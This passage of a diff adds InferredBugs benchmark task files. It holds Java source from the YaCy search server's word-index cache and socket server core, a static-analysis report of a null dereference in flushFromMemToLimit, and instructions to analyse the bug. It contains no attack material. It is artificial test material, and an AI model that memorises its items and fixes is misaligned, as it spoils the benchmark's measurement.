+        if (row == null) return null;
+        long creationTime = kelondroRecords.bytes2long(row[2]);
+        plasmaWordIndexEntry wordEntry = new plasmaWordIndexEntry(new String(row[3]), new String(row[4]));
+        return new Object[]{wordEntry, new Long(creationTime)};
+    }
+    
+    private void removeSingleton(String wordHash) {
+        // deletes a word index from singleton database
+        //log.logDebug("removeSingleton: wordHash=" + wordHash);
+        byte[][] row = null;
+        try {
+            row = singletons.remove(wordHash.getBytes());
+        } catch (IOException e) {
+            log.logFailure("removeSingleton/IO-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+        } catch (kelondroException e) {
+            log.logFailure("removeSingleton/kelondro-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+        }
+    }
+    
+    private void resetSingletonDatabase() {
+        // deletes the singleton database and creates a new one
+        try {
+            singletons.close();
+        } catch (IOException e) {}
+        File singletonFile = new File(databaseRoot, singletonFileName);
+        if (!(singletonFile.delete())) throw new RuntimeException("cannot delete singleton database");
+        try {
+            singletons = new kelondroTree(singletonFile, singletonBufferSize, bufferStructure);
+        } catch (IOException e){
+            log.logError("unable to re-create singleton database: " + e.getMessage());
+            e.printStackTrace();
+        }
+    }
+    
+    public Iterator singletonHashes(String startWordHash, boolean up, boolean rot) {
+        try {
+            return singletons.keys(up, rot, startWordHash.getBytes());
+        } catch (IOException e) {
+            log.logFailure("iterateSingleton/IO-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+            return null;
+        }
+    }
+    
+    // cache settings
+    
+    public int maxURLinWordCache() {
+        return hashScore.getScore(hashScore.getMaxObject());
+    }
+
+    public int wordCacheRAMSize() {
+        return cache.size();
+    }
+    
+    public void setMaxWords(int maxWords) {
+        this.maxWords = maxWords;
+    }
+    
+    public int size() {
+        return java.lang.Math.max(singletons.size(), java.lang.Math.max(backend.size(), cache.size()));
+    }
+    
+    public Iterator wordHashes(String startWordHash, boolean up) {
+        // here we merge 3 databases into one view:
+        // - the RAM Cache
+        // - the singleton File Cache
+        // - the backend
+        if (!(up)) throw new RuntimeException("plasmaWordIndexCache.wordHashes can only count up");
+        return new kelondroMergeIterator(
+                        new kelondroMergeIterator(
+                                 cache.keySet().iterator(),
+                                 singletonHashes(startWordHash, true, false),
+                                 true),
+                        backend.wordHashes(startWordHash, true),
+                        true);
+    }
+    
+    private int flushFromMem(String key) {
+        plasmaWordIndexEntryContainer container = null;
+        long time;
+	synchronized (cache) {
+            // get the container
+            container = (plasmaWordIndexEntryContainer) cache.get(key);
+            if (container == null) return 0; // flushing of nonexisting key
+            time = getCreationTime(key);
+
+            // remove it from the cache
+            cache.remove(key);
+	    hashScore.deleteScore(key);
+            hashDate.remove(key);
+	}
+        // now decide where to flush that container
+        Object[] singleton = readSingleton(key);
+        if (singleton == null) {
+            if (container.size() == 1) {
+                // store to singleton
+                storeSingleton(key, container.getOne(), time);
+                return 1;
+            } else {
+                // store to back-end
+                return backend.addEntries(container, time);
+            }
+        } else {
+            // we have a singleton and need to integrate this in the flush
+            plasmaWordIndexEntry oldEntry = (plasmaWordIndexEntry) singleton[0];
+            long oldTime = ((Long) singleton[1]).longValue();
+            if (container.contains(oldEntry.getUrlHash())) {
+                // we have an double-occurrence
+                if (container.size() == 1) {
+                    // it is superfluous to flush this, simple do nothing
+                    return 0;
+                } else {
+                    // we flush to the backend, but remove the entry from the singletons
+                    removeSingleton(key);
+                    return backend.addEntries(container, java.lang.Math.max(time, oldTime));
+                }
+            } else {
+                // now we have more than one entry,
+                // we must remove the key from the singleton database
+                removeSingleton(key);
+                // add this to the backend
+                container.add(oldEntry);
+                return backend.addEntries(container, java.lang.Math.max(time, oldTime));
+            }
+        }	
+    }
+    
+    private boolean flushFromSingleton(String key) {
+        Object[] singleton = readSingleton(key);
+        if (singleton == null) {
+            return false;
+        } else {
+            // we have a singleton
+            plasmaWordIndexEntry entry = (plasmaWordIndexEntry) singleton[0];
+            long time = ((Long) singleton[1]).longValue();
+            // remove it from the singleton database
+            removeSingleton(key);
+            // integrate it to the backend
+            return backend.addEntries(plasmaWordIndexEntryContainer.instantContainer(key, entry), time) > 0;
+        }
+    }
+
+    private int flushFromMemToLimit() {
+	if ((hashScore.size() == 0) && (cache.size() == 0)) {
+	    serverLog.logDebug("PLASMA INDEXING", "flushToLimit: called but cache is empty");
+	    return 0;
+	}
+	if ((hashScore.size() == 0) && (cache.size() != 0)) {
+	    serverLog.logError("PLASMA INDEXING", "flushToLimit: hashScore.size=0 but cache.size=" + cache.size());
+	    return 0;
+	}
+	if ((hashScore.size() != 0) && (cache.size() == 0)) {
+	    serverLog.logError("PLASMA INDEXING", "flushToLimit: hashScore.size=" + hashScore.size() + " but cache.size=0");
+	    return 0;
+	}
+
+	//serverLog.logDebug("PLASMA INDEXING", "flushSpecific: hashScore.size=" + hashScore.size() + ", cache.size=" + cache.size());
+        int total = 0;
+        synchronized (hashScore) {
+            String key;
+            int count;
+            Long createTime;
+            
+            // flush high-scores
+            while ((total < 100) && (hashScore.size() >= maxWords)) {
+                key = (String) hashScore.getMaxObject();
+                createTime = (Long) hashDate.get(key);
+                count = hashScore.getScore(key);
+                if (count < 5) {
+                    log.logWarning("flushing of high-key " + key + " not appropriate (too less entries, count=" + count + "): increase cache size");
+                    break;
+                }
+                if ((createTime != null) && ((System.currentTimeMillis() - createTime.longValue()) < 9000)) {
+                    //log.logDebug("high-key " + key + " is too fresh, interrupting flush (count=" + count + ", cachesize=" + cache.size()  + ", singleton-size=" + singletons.size() + ")");
+                    break;
+                }
+                //log.logDebug("flushing high-key " + key + ", count=" + count + ", cachesize=" + cache.size() + ", singleton-size=" + singletons.size());
+                total += flushFromMem(key);
+            }
+            
+            // flush singletons
+            while ((total < 200) && (hashScore.size() >= maxWords)) {
+                key = (String) hashScore.getMinObject();
+                createTime = (Long) hashDate.get(key);
+                count = hashScore.getScore(key);
+                if (count > 1) {
+                    //log.logDebug("flush of singleton-key " + key + ": count too high (count=" + count + ")");
+                    break;
+                }
+                if ((createTime != null) && ((System.currentTimeMillis() - createTime.longValue()) < 9000)) {
+                    //log.logDebug("singleton-key " + key + " is too fresh, interruptiong flush (count=" + count + ", cachesize=" + cache.size()  + ", singleton-size=" + singletons.size() + ")");
+                    break;
+                }
+                //log.logDebug("flushing singleton-key " + key + ", count=" + count + ", cachesize=" + cache.size() + ", singleton-size=" + singletons.size());
+                total += flushFromMem(key);
+            }
+        }
+        return total;
+    }
+    
+    public plasmaWordIndexEntity getIndex(String wordHash, boolean deleteIfEmpty) {
+        flushFromMem(wordHash);
+        flushFromSingleton(wordHash);
+	return backend.getIndex(wordHash, deleteIfEmpty);
+    }
+    
+    public long getCreationTime(String wordHash) {
+        Long time = (Long) hashDate.get(wordHash);
+        if (time == null) return 0;
+        return time.longValue();
+    }
+    
+    public void deleteIndex(String wordHash) {
+        synchronized (cache) {
+            cache.remove(wordHash);
+            hashScore.deleteScore(wordHash);
+            hashDate.remove(wordHash);
+        }
+        removeSingleton(wordHash);
+	backend.deleteIndex(wordHash);
+    }
+
+    public int removeEntries(String wordHash, String[] urlHashes, boolean deleteComplete) {
+        flushFromMem(wordHash);
+        flushFromSingleton(wordHash);
+        return backend.removeEntries(wordHash, urlHashes, deleteComplete);
+    }
+    
+    public int addEntries(plasmaWordIndexEntryContainer container, long creationTime) {
+	//serverLog.logDebug("PLASMA INDEXING", "addEntryToIndexMem: cache.size=" + cache.size() + "; hashScore.size=" + hashScore.size());
+        flushFromMemToLimit();
+	//if (flushc > 0) serverLog.logDebug("PLASMA INDEXING", "addEntryToIndexMem - flushed " + flushc + " entries");
+
+	// put new words into cache
+        int added = 0;
+	synchronized (cache) {
+            String wordHash = container.wordHash();
+	    plasmaWordIndexEntryContainer entries = (plasmaWordIndexEntryContainer) cache.get(wordHash); // null pointer exception? wordhash != null! must be cache==null
+	    if (entries == null) entries = new plasmaWordIndexEntryContainer(wordHash);
+            added = entries.add(container);
+            if (added > 0) {
+                cache.put(wordHash, entries);
+                hashScore.addScore(wordHash, added);
+                hashDate.put(wordHash, new Long(creationTime));
+            }
+	}
+        //System.out.println("DEBUG: cache = " + cache.toString());
+        return added;
+    }
+
+    private void addEntry(String wordHash, plasmaWordIndexEntry newEntry, long creationTime) {
+        plasmaWordIndexEntryContainer entries = (plasmaWordIndexEntryContainer) cache.get(wordHash);
+        if (entries == null) entries = new plasmaWordIndexEntryContainer(wordHash);
+        if (entries.add(newEntry)) {
+            cache.put(wordHash, entries);
+            hashScore.incScore(wordHash);
+            hashDate.put(wordHash, new Long(creationTime));
+        }
+    }
+
+    public void close(int waitingSeconds) {
+        try {
+            singletons.close();
+        } catch (IOException e){
+            log.logError("unable to close singleton database: " + e.getMessage());
+            e.printStackTrace();
+        }
+        try {
+            dump(waitingSeconds);
+        } catch (IOException e){
+            log.logError("unable to dump cache: " + e.getMessage());
+            e.printStackTrace();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `key` last assigned on line 449 could be null and is dereferenced by call to `flushFromMem(...)` at line 461.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int plasmaWordIndexCache.flushFromMemToLimit()
+
+### Procedure Id:
+de.anomic.plasma.plasmaWordIndexCache.flushFromMemToLimit():int.135a4e686c5c6398299193284ac9055d
+
+### File:
+source/de/anomic/plasma/plasmaWordIndexCache.java
+
+### Key:
+plasmaWordIndexCache.java|flushFromMemToLimit|NULL_DEREFERENCE
+
+### Node Key:
+644b4bb9bcc0de9563824d0bde10d1a2
+
+### Hash:
+2c9bce184e713a24eb574c36426da4c0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4136/instruction.md b/inferredbugs-4136/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7c210f38a74da9bb2628deb019788b75b03b7594
--- /dev/null
+++ b/inferredbugs-4136/instruction.md
@@ -0,0 +1,973 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** yacy_search_server
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// serverCore.java 
+// -------------------------------------------
+// (C) by Michael Peter Christen; mc@anomic.de
+// first published on http://www.anomic.de
+// Frankfurt, Germany, 2002-2004
+// last major change: 09.03.2004
+//
+// ThreadPool
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation; either version 2 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program; if not, write to the Free Software
+// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+//
+// Using this software in any meaning (reading, learning, copying, compiling,
+// running) means that you agree that the Author(s) is (are) not responsible
+// for cost, loss of data or any harm that may be caused directly or indirectly
+// by usage of this softare or this documentation. The usage of this software
+// is on your own risk. The installation and usage (starting/running) of this
+// software may allow other people or application to access your computer and
+// any attached devices and is highly dependent on the configuration of the
+// software which must be done by the user of the software; the author(s) is
+// (are) also not responsible for proper configuration and usage of the
+// software, even if provoked by documentation provided together with
+// the software.
+//
+// Any changes to this file according to the GPL as documented in the file
+// gpl.txt aside this file in the shipment you received can be done to the
+// lines that follows this copyright notice here, but changes must not be
+// done inside the copyright notive above. A re-distribution must contain
+// the intact and unchanged copyright notice.
+// Contributions and changes to the program code must be marked as such.
+
+package de.anomic.server;
+
+// standard server
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PushbackInputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.net.InetAddress;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.Hashtable;
+
+// needed for ssl
+import javax.net.*;
+import javax.net.ssl.*;
+import java.security.KeyStore;
+
+import org.apache.commons.pool.impl.GenericObjectPool;
+
+public final class serverCore extends serverAbstractThread implements serverThread {
+
+    // generic input/output static methods
+    public static final byte cr = 13;
+    public static final byte lf = 10;
+    public static final byte[] crlf = {cr, lf};
+    public static final String crlfString = new String(crlf);
+
+    // static variables
+    public static final Boolean TERMINATE_CONNECTION = Boolean.FALSE;
+    public static final Boolean RESUME_CONNECTION = Boolean.TRUE;
+
+    // class variables
+    private int port;                      // the listening port
+    private ServerSocket socket;           // listener
+    private int maxSessions = 0;           // max. number of sessions; 0=unlimited
+    serverLog log;                         // log object
+    private int timeout;                   // connection time-out of the socket
+    
+    private boolean termSleepingThreads;   // if true then threads over sleepthreashold are killed
+    private int thresholdActive = 5000;    // after that time a thread should have got a command line
+    private int thresholdSleep = 30000;    // after that time a thread is considered as beeing sleeping (30 seconds)
+    private int thresholdDead = 3600000;   // after that time a thread is considered as beeing dead-locked (1 hour)
+    serverHandler handlerPrototype;        // the command class (a serverHandler) 
+    private Class[] initHandlerClasses;    // the init's methods arguments
+    private Class[] initSessionClasses;    // the init's methods arguments
+    private serverSwitch switchboard;      // the command class switchboard
+    private Hashtable denyHost;
+    private int commandMaxLength;
+    
+    /**
+     * The session-object pool
+     */
+    final SessionPool theSessionPool;
+    final ThreadGroup theSessionThreadGroup = new ThreadGroup("sessionThreadGroup");
+
+    private static ServerSocketFactory getServerSocketFactory(boolean dflt, File keyfile, String passphrase) {
+        // see doc's at
+        // http://java.sun.com/developer/technicalArticles/Security/secureinternet/
+        if (dflt) {
+            return ServerSocketFactory.getDefault();
+        } else {
+	    SSLServerSocketFactory ssf = null;
+	    try {
+		// set up key manager to do server authentication
+		SSLContext ctx;
+		KeyManagerFactory kmf;
+		KeyStore ks;
+		char[] pp = passphrase.toCharArray();
+
+                // open keystore
+		ks = KeyStore.getInstance("JKS");
+		ks.load(new FileInputStream(keyfile), pp);
+                
+                // get a KeyManager Factory
+                String algorithm = KeyManagerFactory.getDefaultAlgorithm(); // should be "SunX509"
+                kmf = KeyManagerFactory.getInstance(algorithm);
+                kmf.init(ks, pp);
+                
+                // create a ssl context with the keyManager Factory
+                //ctx = SSLContext.getInstance("TLS");
+                ctx = SSLContext.getInstance("SSLv3");
+                
+		ctx.init(kmf.getKeyManagers(), null, null);
+
+		ssf = ctx.getServerSocketFactory();
+		return ssf;
+	    } catch (Exception e) {
+		e.printStackTrace();
+                return null;
+	    }
+	}
+    }
+
+    // class initializer
+    public serverCore(int port, int maxSessions, int timeout,
+                      boolean termSleepingThreads, boolean blockAttack,
+                      serverHandler handlerPrototype, serverSwitch switchboard,
+                      int commandMaxLength, int logl) throws IOException {
+        this.port = port;
+        this.commandMaxLength = commandMaxLength;
+        this.denyHost = (blockAttack) ? new Hashtable() : null;
+
+        /*
+        try {
+            ServerSocketFactory ssf = getServerSocketFactory(false, new File("D:\\dev\\proxy\\addon\\testkeys"), "passphrase");
+            this.socket = ssf.createServerSocket(port);
+            //((SSLServerSocket) this.socket ).setNeedClientAuth(true);
+        } catch (java.net.BindException e) {
+            System.out.println("FATAL ERROR: " + e.getMessage() + " - probably root access rights needed. check port number"); System.exit(0);
+        }
+        */
+        
+    	try {
+                this.socket = new ServerSocket(port);
+    	} catch (java.net.BindException e) {
+     	    System.out.println("FATAL ERROR: " + e.getMessage() + " - probably root access rights needed. check port number"); System.exit(0);
+    	}
+        
+        try {
+            this.handlerPrototype = handlerPrototype;
+            this.switchboard = switchboard;
+    	    this.initHandlerClasses = new Class[] {Class.forName("de.anomic.server.serverSwitch")};
+    	    this.initSessionClasses = new Class[] {Class.forName("de.anomic.server.serverCore$Session")};
+    	    this.maxSessions = maxSessions;
+    	    this.timeout = timeout;
+    	    this.termSleepingThreads = termSleepingThreads;
+            this.log = new serverLog("SERVER", logl);
+//    	    activeThreads = new Hashtable();
+//    	    sleepingThreads = new Hashtable();
+    	} catch (java.lang.ClassNotFoundException e) {
+     	    System.out.println("FATAL ERROR: " + e.getMessage() + " - Class Not Found"); System.exit(0);
+    	}
+        
+        // implementation of session thread pool
+        GenericObjectPool.Config config = new GenericObjectPool.Config();
+        
+        // The maximum number of active connections that can be allocated from pool at the same time,
+        // 0 for no limit
+        config.maxActive = this.maxSessions;
+        
+        // The maximum number of idle connections connections in the pool
+        // 0 = no limit.        
+        config.maxIdle = this.maxSessions / 2;
+        config.minIdle = this.maxSessions / 4;    
+        
+        // block undefinitely 
+        config.maxWait = timeout; 
+        
+        // Action to take in case of an exhausted DBCP statement pool
+        // 0 = fail, 1 = block, 2= grow        
+        config.whenExhaustedAction = GenericObjectPool.WHEN_EXHAUSTED_BLOCK; 
+        config.minEvictableIdleTimeMillis = this.thresholdSleep; 
+        config.testOnReturn = true;
+        
+        this.theSessionPool = new SessionPool(new SessionFactory(this.theSessionThreadGroup),config);  
+    
+    }
+    
+    public static boolean isNotLocal(URL url) {
+        return isNotLocal(url.getHost());
+    }
+    
+    private static boolean isNotLocal(String ip) {
+	if ((ip.equals("localhost")) ||
+	    (ip.startsWith("127")) ||
+	    (ip.startsWith("192.168")) ||
+	    (ip.startsWith("10."))
+	    ) return false;
+	return true;
+    }
+    
+    public static InetAddress publicIP() {
+	try {
+	    // list all addresses
+	    //InetAddress[] ia = InetAddress.getAllByName("localhost");
+	    InetAddress[] ia = InetAddress.getAllByName(InetAddress.getLocalHost().getHostName());
+	    //for (int i = 0; i < ia.length; i++) System.out.println("IP: " + ia[i].getHostAddress()); // DEBUG
+	    if (ia.length == 0) {
+		try {
+		    return InetAddress.getLocalHost();
+		} catch (UnknownHostException e) {
+		    try {
+			return InetAddress.getByName("127.0.0.1");
+		    } catch (UnknownHostException ee) {
+			return null;
+		    }
+		}
+	    }
+	    if (ia.length == 1) {
+		// only one network connection available
+		return ia[0];
+	    }
+	    // we have more addresses, find an address that is not local
+	    int b0, b1;
+	    for (int i = 0; i < ia.length; i++) {
+		b0 = 0Xff & ia[i].getAddress()[0];
+		b1 = 0Xff & ia[i].getAddress()[1];
+		if ((b0 != 10) && // class A reserved
+		    (b0 != 127) && // loopback
+		    ((b0 != 172) || (b1 < 16) || (b1 > 31)) && // class B reserved
+		    ((b0 != 192) || (b0 != 168)) && // class C reserved
+		    (ia[i].getHostAddress().indexOf(":") < 0)
+		    ) return ia[i];
+	    }
+	    // there is only a local address, we filter out the possibly returned loopback address 127.0.0.1
+	    for (int i = 0; i < ia.length; i++) {
+		if (((0Xff & ia[i].getAddress()[0]) != 127) &&
+		    (ia[i].getHostAddress().indexOf(":") < 0)) return ia[i];
+	    }
+	    // if all fails, give back whatever we have
+	    for (int i = 0; i < ia.length; i++) {
+		if (ia[i].getHostAddress().indexOf(":") < 0) return ia[i];
+	    }
+	    return ia[0];
+	} catch (java.net.UnknownHostException e) {
+	    System.err.println("ERROR: (internal) " + e.getMessage());
+	    return null;
+	}
+    }
+
+    public void open() {
+        log.logSystem("* server started on " + publicIP() + ":" + port);
+    }
+    
+    // class body
+    public boolean job() throws Exception {
+        // prepare for new connection
+        // idleThreadCheck();
+        this.switchboard.handleBusyState(this.theSessionPool.getNumActive() /*activeThreads.size() */);
+
+        log.logDebug(
+        "* waiting for connections, " + this.theSessionPool.getNumActive() + " sessions running, " +
+        this.theSessionPool.getNumIdle() + " sleeping");
+        
+        // list all connection (debug)
+        /*
+        if (activeThreads.size() > 0) {
+            Enumeration threadEnum = activeThreads.keys();
+            Session se;
+            long time;
+            while (threadEnum.hasMoreElements()) {
+                se = (Session) threadEnum.nextElement();
+                time = System.currentTimeMillis() - ((Long) activeThreads.get(se)).longValue();
+                log.logDebug("* ACTIVE SESSION (" + ((se.isAlive()) ? "alive" : "dead") + ", " + time + "): " + se.request);
+            }
+        }
+        */
+        
+        // wait for new connection
+        announceThreadBlockApply();
+        Socket controlSocket = this.socket.accept();
+        announceThreadBlockRelease();
+        if ((this.denyHost == null) || (this.denyHost.get((""+controlSocket.getInetAddress().getHostAddress())) == null)) {
+            //log.logDebug("* catched request from " + controlSocket.getInetAddress().getHostAddress());
+            controlSocket.setSoTimeout(this.timeout);
+            
+            Session connection = (Session) this.theSessionPool.borrowObject();
+            connection.execute(controlSocket);
+            
+            //try {Thread.currentThread().sleep(1000);} catch (InterruptedException e) {} // wait for debug
+            // activeThreads.put(connection, new Long(System.currentTimeMillis()));
+            //log.logDebug("* NEW SESSION: " + connection.request);
+            
+        } else {
+            System.out.println("ACCESS FROM " + controlSocket.getInetAddress().getHostAddress() + " DENIED");
+        }
+        // idle until number of maximal threads is (again) reached
+        //synchronized(this) {
+//        while ((maxSessions > 0) && (activeThreads.size() >= maxSessions)) try {
+//            log.logDebug("* Waiting for activeThreads=" + activeThreads.size() + " < maxSessions=" + maxSessions);
+//            Thread.currentThread().sleep(2000);
+//            idleThreadCheck();
+//        } catch (InterruptedException e) {}
+        return true;
+    }
+
+    public void close() {
+        try {
+            // consuming the isInterrupted Flag. Otherwise we could not properly close the session pool
+            Thread.interrupted();
+            
+            // close the session pool
+            this.theSessionPool.close();
+        }
+        catch (Exception e) {
+            this.log.logSystem("Unable to close session pool: " + e.getMessage());
+        }
+        log.logSystem("* terminated");
+    }
+    
+    public int getJobCount() {
+        return this.theSessionPool.getNumActive();
+    }
+    
+    // idle sensor: the thread is idle if there are no sessions running
+    public boolean idle() {
+        // idleThreadCheck();
+        return (this.theSessionPool.getNumActive() == 0);
+    }
+    
+    public final class SessionPool extends GenericObjectPool 
+    {
+        public boolean isClosed = false;
+        
+        /**
+         * First constructor.
+         * @param objFactory
+         */        
+        public SessionPool(SessionFactory objFactory) {
+            super(objFactory);
+            this.setMaxIdle(75); // Maximum idle threads.
+            this.setMaxActive(150); // Maximum active threads.
+            this.setMinEvictableIdleTimeMillis(30000); //Evictor runs every 30 secs.
+            //this.setMaxWait(1000); // Wait 1 second till a thread is available
+        }
+        
+        public SessionPool(SessionFactory objFactory,
+                           GenericObjectPool.Config config) {
+            super(objFactory, config);
+        }
+        
+        /**
+         * @see org.apache.commons.pool.impl.GenericObjectPool#borrowObject()
+         */
+        public Object borrowObject() throws Exception  {
+           return super.borrowObject();
+        }
+
+        /**
+         * @see org.apache.commons.pool.impl.GenericObjectPool#returnObject(java.lang.Object)
+         */
+        public void returnObject(Object obj) throws Exception  {
+            super.returnObject(obj);
+        }        
+        
+        public synchronized void close() throws Exception {
+
+            /*
+             * shutdown all still running session threads ...
+             */
+            // interrupting all still running or pooled threads ...
+            serverCore.this.theSessionThreadGroup.interrupt();
+            
+            /* waiting for all threads to finish */
+            int threadCount  = serverCore.this.theSessionThreadGroup.activeCount();    
+            Thread[] threadList = new Thread[threadCount];     
+            threadCount = serverCore.this.theSessionThreadGroup.enumerate(threadList);
+            
+            try {
+                for ( int currentThreadIdx = 0; currentThreadIdx < threadCount; currentThreadIdx++ )  {
+                    ((Session)threadList[currentThreadIdx]).setStopped(true);
+                }                
+                
+                for ( int currentThreadIdx = 0; currentThreadIdx < threadCount; currentThreadIdx++ )  {
+                    // we need to use a timeout here because of missing interruptable session threads ...
+                    if (threadList[currentThreadIdx].isAlive()) threadList[currentThreadIdx].join(500);
+                }
+            }
+            catch (InterruptedException e) {
+                serverCore.this.log.logWarning("Interruption while trying to shutdown all session threads.");  
+            }
+            
+            this.isClosed = true;
+            super.close();  
+        }
+        
+    }
+    
+    public final class SessionFactory implements org.apache.commons.pool.PoolableObjectFactory {
+
+        final ThreadGroup sessionThreadGroup;
+        public SessionFactory(ThreadGroup theSessionThreadGroup) {
+            super();  
+            
+            if (theSessionThreadGroup == null)
+                throw new IllegalArgumentException("The threadgroup object must not be null.");
+            
+            this.sessionThreadGroup = theSessionThreadGroup;
+        }
+        
+        /**
+         * @see org.apache.commons.pool.PoolableObjectFactory#makeObject()
+         */
+        public Object makeObject() {
+            return new Session(this.sessionThreadGroup);
+        }
+        
+         /**
+         * @see org.apache.commons.pool.PoolableObjectFactory#destroyObject(java.lang.Object)
+         */
+        public void destroyObject(Object obj) {
+            if (obj instanceof Session) {
+                Session theSession = (Session) obj;
+                theSession.setStopped(true);
+            }
+        }
+        
+        /**
+         * @see org.apache.commons.pool.PoolableObjectFactory#validateObject(java.lang.Object)
+         */
+        public boolean validateObject(Object obj) {
+            if (obj instanceof Session) 
+            {
+                Session theSession = (Session) obj;
+                if (!theSession.isAlive() || theSession.isInterrupted()) return false;
+                if (theSession.isRunning()) return true;
+                return false;
+            }
+            return true;
+        }
+        
+        /**
+         * @param obj 
+         * 
+         */
+        public void activateObject(Object obj)  {
+            //log.debug(" activateObject...");
+        }
+
+        /**
+         * @param obj 
+         * 
+         */
+        public void passivateObject(Object obj) { 
+            //log.debug(" passivateObject..." + obj);
+            if (obj instanceof Session)  {
+                Session theSession = (Session) obj;
+                
+                // Clean up the result of the execution
+                theSession.setResult(null);                 
+            }
+        }        
+    }
+    
+    public final class Session extends Thread {
+	
+        // used as replacement for activeThreads, sleepingThreads
+        // static ThreadGroup sessionThreadGroup = new ThreadGroup("sessionThreadGroup");
+        
+        // synchronization object needed for the threadpool implementation
+        private Object syncObject;        
+        
+        private Object processingResult = null;
+        
+        private boolean running = false;
+        private boolean stopped = false;
+        private boolean done = false;        
+        
+        
+        private long start;                // startup time
+        private serverHandler commandObj;
+    	private String request;            // current command line
+    	private int commandCounter;        // for logging: number of commands in this session
+    	private String identity;           // a string that identifies the client (i.e. ftp: account name)
+    	//private boolean promiscuous;       // if true, no lines are read and streams are only passed
+    	public  Socket controlSocket;      // dialog socket
+    	public  InetAddress userAddress;   // the address of the client
+    	public  PushbackInputStream in;    // on control input stream
+    	public  OutputStream out;          // on control output stream, autoflush
+
+        private final serverByteBuffer readLineBuffer = new serverByteBuffer(256);
+    	
+    	public Session(ThreadGroup theThreadGroup) {
+            super(theThreadGroup,"Session");
+    	}
+        
+        public void setStopped(boolean stopped) {
+            this.stopped = stopped;            
+        }
+
+        public void execute(Socket controlSocket) {
+            this.execute(controlSocket, null);
+        }
+        
+        public synchronized void execute(Socket controlSocket, Object synObj) {           
+            this.controlSocket = controlSocket;
+            this.syncObject = synObj;
+            this.done = false;
+            
+            if (!this.running)  {
+               // this.setDaemon(true);
+               this.start();
+            }  else { 
+               this.notifyAll();
+            }          
+        }
+        
+        public long getTime() {
+            return System.currentTimeMillis() - start;
+        }
+            
+    	public void setIdentity(String id) {
+    	    this.identity = id;
+    	}
+    
+    	/*
+    	public void setPromiscuous() {
+    	    this.promiscuous = true;
+    	}
+    	*/
+    
+    	public void log(boolean outgoing, String request) {
+    	    serverCore.this.log.logInfo(userAddress.getHostAddress() + "/" + this.identity + " " +
+    		     "[" + serverCore.this.theSessionPool.getNumActive() + ", " + this.commandCounter +
+    		     ((outgoing) ? "] > " : "] < ") +
+    		     request);
+    	}
+    
+    	public void writeLine(String messg) throws IOException {
+    	    send(this.out, messg);
+    	    log(true, messg);
+    	}
+    
+    	public byte[] readLine() {
+    	    return receive(in, this.readLineBuffer, timeout, commandMaxLength, false);
+    	}
+    
+    
+        /**
+         * @return
+         */
+        public boolean isRunning() {
+            return this.running;
+        }
+    
+        /**
+         * @param object
+         */
+        public void setResult(Object object) {
+            this.processingResult  = object;
+        }    
+        
+        /**
+         * 
+         */
+        public void reset()  {
+            this.done = true;
+            this.syncObject = null;
+            this.readLineBuffer.reset();
+        }    
+        
+        /**
+         * 
+         * 
+         * @see java.lang.Thread#run()
+         */
+        public void run()  {
+            this.running = true;
+            
+            // The thread keeps running.
+            while (!this.stopped && !Thread.interrupted()) { 
+                 if (this.done)  { 
+                     // We are waiting for a task now.
+                    synchronized (this)  {
+                       try  {
+                          this.wait(); //Wait until we get a request to process.
+                       } 
+                       catch (InterruptedException e) {
+                           this.stopped = true;
+                           // log.error("", e);
+                       }
+                    }
+                 } 
+                 else 
+                 { 
+                    //There is a task....let us execute it.
+                    try  {
+                       execute();
+                       if (this.syncObject != null) {
+                          synchronized (this.syncObject) {
+                              //Notify the completion.
+                              this.syncObject.notifyAll();
+                          }
+                       }
+                    }  catch (Exception e) {
+                        // log.error("", e);
+                    } 
+                    finally  {
+                        reset();
+                        
+                        if (!this.stopped && !this.isInterrupted()) {
+                            try {
+                                this.setName("Session_inPool");
+                                serverCore.this.theSessionPool.returnObject(this);
+                            }
+                            catch (Exception e1) {
+                                // e1.printStackTrace();
+                                this.stopped = true;
+                            }
+                        }
+                    }
+                 }
+              }
+        }    
+        
+        private void execute() throws InterruptedException {
+                   
+            try {
+                // setting the session startup time
+                this.start = System.currentTimeMillis();  
+                
+                // settin the session identity
+                this.identity = "-";
+                
+                // getting some client information
+                this.userAddress = this.controlSocket.getInetAddress();
+                this.setName("Session_" + this.userAddress.getHostAddress() + ":" + this.controlSocket.getPort());
+                
+                // TODO: check if we want to allow this socket to connect us
+                
+                // getting input and output stream for communication with client
+                this.in = new PushbackInputStream(this.controlSocket.getInputStream());
